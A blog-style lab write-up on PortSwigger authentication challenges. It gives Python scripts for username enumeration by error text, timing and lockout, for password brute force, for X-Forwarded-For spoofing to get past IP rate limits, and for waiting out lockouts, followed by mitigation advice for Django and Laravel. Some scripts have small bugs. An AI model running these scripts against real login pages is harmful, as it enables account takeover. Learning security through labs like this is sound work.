Skip to main content

From Developer to Attacker: Automatic Authentication Bypasses with python

Updated 8 min readMarkdown

Introduction

Authentication is the front door of any web application, yet it remains one of the most frequently misconfigured components. Drawing from my experience developing backend systems in Django and Laravel, I recently solved 6 passwor-based authentication scenarios on PortSwigger's Web Security Academy.

This write-up explores how attackers chain subtle logic flaws from username enumeration to rate-limit evasion and how we can automate these attacks using custom Python scripts.

Finally, I will break down how to secure these endpoints at the code level.

The silent Leak: Username Enumeration

Before launching a brute-force attack, an attacker needs a valid target. In these different laboratories, the attacker first explores the login behavior. For example, when they try to log in and the credentials are wrong, the front-end shows a different message ( like 'Invalid username or password'). We can enumerate users based on these server responses.

I developed a script that identifies different response messages, for example in a laboratory, when the username doesn't exist, the message is 'Invalid username.', but when the username exist, the message changes to 'Invalid password.'

import requests
# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def enumerate_username(url):
    with open('usernames.txt','r',encoding='utf-8') as usernames:
        
        text = 'Invalid username or password.'

        for username in usernames:
            username = username.strip('\n')
            payload = {
                'username':username,
                'password':'test'
            }
            request = requests.post(url,data=payload)

            if text not in request.text:
                print(f'[+] Valid username found: {username}')
                return username
            
    return None

This script automates the enumeration process and is highly effective for solving the following PortSwigger labs

  • Username enumeration via different responses
  • Username enumeration via subtly different responses

While looking for text discrepancies is straightforward, modern applications often return identical error messages and block offending IPs. However, they might still be vulnerable to Time-Based Enumeration, and IP blocks can frequently be bypassed using the X-Forwarded-For header. If the backend processes valid users differently (e.g., hashing a long password), the response time will spike.

To detect this, I modified my function to measure the response time.

import requests

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def enumerate_users_by_time(url):
    count = 0
    ip = '10.11.10.'
    
    long_password = 'peter'*500
    
    max_time = 0
    valid_username = None

    with open('usernames.txt','r',encoding='utf-8') as usernames:
        for username in usernames:
            username = username.strip('\n')
            header = {'X-Forwarded-For':ip+str(count)}
            payload = {
                'username':username,
                'password':long_password
            }

            if count%4 == 0:
                ip ='10.11.0.'

            request = requests.post(url,headers=header,data=payload)
            response_time = request.elapsed.total_seconds()
            if response_time > max_time:
                max_time = request.elapsed.total_seconds()
                valid_username = username     
            count+=1
        print(f'[+] Highest response time: {max_time}s')
        print(f'[+] Valid username found: {valid_username}')
        return valid_username

Enumerate accounts though account lock

In some cases, when an attacker tries to log in with wrong credentials, the server takes action, for example, by blocking the user for a few minutes and showing a message like: 'You have made too many incorrect login attempts. Please try again in 30 minute(s).'. The attacker can use this information to enumerate valid users.

I developed a script that tries to log in using a usernames dictionary and a wrong password for 5 attempts, and then shows the user which accounts have been blocked.

import requests

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def user_enumerate(url):
    with open('usernames.txt','r',encoding='utf-8') as usernames:
        for username in usernames:
            username = username.strip()
            for _ in range(0,5):
                payload = {
                        'username':username,
                        'password':'peterpeter'
                        }
                response = requests.post(url,data=payload)

                if 'Invalid username or password.' not in response.text:
                    print(f'The username is {username}')
                    
                    return username
                    
    return None

Once valid usernames have been identified, the next phase of the attack is to analyze the application's defensive mechanisms before launching a full password brute-force attack.

Brute-Force Passwords

The simplest brute force-attack involves using password dictionaries.

I developed a script that attempts to log in using a password dictionary, testing passwords one by one. When it receives a successful response from the server, the loop stops and returns the valid passwords.

import requests

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def brute_force(url,username):
    with open('passwords.txt','r',encoding='utf-8') as passwords:
        for password in passwords:
            password = password.strip()
            payload = {
                    'username':username,
                    'password':password
                    }
            request = requests.post(url,data=payload,allow_redirects=False)
            if request.status_code == 302:
                print(f'the password for the user {username} is {password}')
                return password
    return None

In another scenario, the server might have misconfigurations with its time-based account block. For example, when a user tries to log into their account and enters wrong credentials, the server blocks the account. However, if a successful login occurs on a different account, the server resets the counter and the first user's account is enabled again.

I found that after 14 failed attempts, the account was blocked. To bypass this, I developed a script that uses a sleep function for 60 seconds when the block occurs, and then continues trying the passwords one by one.

import requests
import time

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def login(url,username):
    with open('passwords.txt','r',encoding='utf-8') as passwords:
        for password in passwords:
            password = password.strip()
            payload = {
                    'username':username,
                    'password':password
                    }
            response = requests.post(url,data=payload,allow_redirects=False)

            if 'You have made too many incorrect login attempts. Please try again in 1 minute(s).' in response.text:
                print('Sleep for 60 seconds')
                time.sleep(60)
                response = requests.post(url,data=payload,allow_redirects=False)

            if response.status_code == 302:
                print(f'The password for the user {username} is {password}')
                payload = {
                        'username':username,
                        'password':password
                        }
                response = requests.post(url,data=payload,allow_redirects=False)
                return password
    return None

Handling Strict Lockouts: The "Low and Slow" Approach

In another scenario, the application's rate limiting was strictly tied to the username rather that the IP address, rendering header spoofing ineffective. The server locked the account after a few failed attempts and returned a 'You have made too many incorrect login attempts. Please try again in 30 minute(s).' message.

Instead of looking for a complex bypass, I adapted my script to play by the HTTP response for the lockout message, pauses execution using time.sleep(60) to wait out the penalty, and then automatically resumes the brute-force attack. This 'Low and Slow' automation mimics real-world persistent threats.

import requests
import time

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def login_flaw(url,username):
    with open('passwords.txt','r',encoding='utf-8') as passwords:
        
        for password in passwords:
            password = password.strip()
            payload = {
                            'username':'wiener',
                            'password':'peter'
                        }
            response = requests.post(url,data=payload,allow_redirects=False)
            print(response.status_code)
            payload = {
                        'username':'carlos',
                        'password':username
                    }

            response = requests.post(url,data=payload,allow_redirects=False)
            if "You have made too many incorrect login attempts. Please try again in 1 minute(s)." in response.text:
                time.sleep(60)
                response = requests.post(url,data=payload,allow_redirects=False)

            if response.status_code == 302:
                print(f'The password is {password}')
                return {password}
        
        return None

The Developer's Perspective: Securing Authentication Endpoints

Finding and exploiting these vulnerabilities is only half the battle; as software developers and security practitioners, our ultimate goal is to write robust, secure code from day one. Based on the logic flaws we explored across these PortSwigger laboratories, here is how we can properly mitigate these authentication risks in modern backend frameworks like Django and Laravel.

  1. Mitigating Username Enumeration
  • Generic Error Messages: Never let the front-end distinguish between whether a username exists or not. Always return a generic response, such as "Invalid username or password", for both conditions.
  • Consistent Response Times (Timing Attacks): To prevent time-based enumeration where the server spends extra CPU cycles hashing passwords for valid accounts, implement artificial delays or use constant-time comparison functions (such as hash_equals() in PHP or secure cryptographic comparisons in Python) so that both valid and invalid lookups take the exact same amount of time to execute.
  1. Implementing Resilient Rate Limiting Account
  • Centric vs. IP-Centric Limiting: Relying solely on the X-Forwarded-For header or IP addresses is dangerous due to proxy spoofing and shared corporate networks. Implement rate limiting tied directly to the user account (or a combination of IP and user identifier) using high-performance caching layers like Redis.
  • Preventing Counter-Reset Flaws: Ensure that sliding-window rate limiters or lockout counters are isolated per user entity. A successful login on a test account (wiener) should never clear or reset the failed-attempt cache or global lockout counter of a completely different targeted user (carlos).

Conclusion

Transitioning from a backend developer mindset to an offensive security perspective changes how you write code forever. By automating our tests and understanding how logic flaws manifest in authentication flows, we become better equipped to architect resilient applications that can withstand automated threats and targeted persistent attacks.

About the Author

Hi! I'm a final-term Computer Science undergraduate and backend developer specializing in Django and Laravel, currently transitioning into Web Application Penetration Testing.

If you found this write-up useful or want to discuss security, backend development, or tech projects, let's connect:

About the author

  • Computer Science student passionate about cybersecurity, with a strong interest in Red Team operations and SOC operations. I share learnings, projects, and experiments as I progress on my path toward becoming an offensive security specialist.

The most valuable part of your framing is the developer origin - because the bypasses that automation actually finds are almost always the ones the framework made easy to leave in. Forced browsing to /admin or an unprotected API route, JWTs accepted with alg=none or a weak symmetric secret, OTP endpoints without rate limiting, password reset tokens that are sequential or never expire: none of these need creativity, they need a checklist and a loop, which is exactly why the attacker's Python script exists. The inversion I'd offer to developers reading this: the same script is a regression test. Every bypass class you automate from the red side can run in CI from the blue side - spin up the app, run the forced-browsing wordlist, try alg=none against your own JWT endpoint, hammer the OTP route and count the responses. If your pipeline tolerates it, so will the internet. And the second-order point: authentication bypasses are loud in logs only if someone logs the failures - 401s on /admin, JWT signature rejections, OTP attempt counts. Most breaches of this kind were visible for weeks; nobody was reading the counter.